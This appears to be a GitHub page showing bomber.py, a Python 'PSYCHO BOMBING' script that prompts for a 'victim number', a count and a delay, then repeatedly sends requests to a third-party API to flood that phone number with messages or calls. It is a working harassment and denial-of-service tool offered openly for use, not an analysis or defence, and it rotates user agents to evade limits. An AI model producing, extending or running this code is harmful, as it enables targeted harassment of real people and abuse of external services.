-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbomber.py
More file actions
71 lines (60 loc) · 2.96 KB
/
bomber.py
File metadata and controls
71 lines (60 loc) · 2.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
import time
import random
import requests
# Colors
R = '\033[1;31m'
G = '\033[1;32m'
Y = '\033[1;33m'
C = '\033[1;36m'
N = '\033[0m'
W = '\033[1;37m'
# Clear screen
os.system('clear')
# Banner
def banner():
print(f"""{R}
██████╗░██╗░░░██╗███████╗░█████╗░░█████╗░ ██████╗░░█████╗░███╗░░░███╗██████╗░
██╔══██╗██║░░░██║██╔════╝██╔══██╗██╔══██╗ ██╔══██╗██╔══██╗████╗░████║██╔══██╗
██████╦╝██║░░░██║█████╗░░██║░░╚═╝██║░░██║ ██████╦╝███████║██╔████╔██║██║░░██║
██╔══██╗██║░░░██║██╔══╝░░██║░░██╗██║░░██║ ██╔══██╗██╔══██║██║╚██╔╝██║██║░░██║
██████╦╝╚██████╔╝███████╗╚█████╔╝╚█████╔╝ ██████╦╝██║░░██║██║░╚═╝░██║██████╔╝
╚═════╝░░╚═════╝░╚══════╝░╚════╝░░╚════╝░ ╚═════╝░╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═════╝░
{Y} PSYCHO BOMBING
{C}Author: J O Y B R O
{W}--------------------------------------------------{N}""")
# Working API
API = {
"name": "Trial API",
"url": "https://bomberdemofor2hrtcs.vercel.app/api/trialapi",
"method": "GET",
"params": {"phone": "{number}", "type": "all"}
}
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X)...",
]
def send_bomb(number):
url = API["url"]
params = {k: v.replace("{number}", number) for k, v in API["params"].items()}
headers = {"User-Agent": random.choice(USER_AGENTS)}
try:
res = requests.get(url, params=params, headers=headers)
if res.status_code == 200:
print(f"{G}[✓] Bomb sent successfully{N}")
else:
print(f"{R}[×] Bomb failed ({res.status_code}){N}")
except:
print(f"{R}[×] Bomb failed (Connection error){N}")
def main():
banner()
number = input(f"{C}[?] Enter victim number: {N}")
amount = int(input(f"{C}[?] Number of bombs: {N}"))
delay = float(input(f"{C}[?] Delay between bombs (seconds): {N}"))
print(f"\n{Y}[!] Bombing started...{N}\n")
for _ in range(amount):
send_bomb(number)
time.sleep(delay)
print(f"\n{G}[✓] Bombing completed!{N}")
if __name__ == "__main__":
main()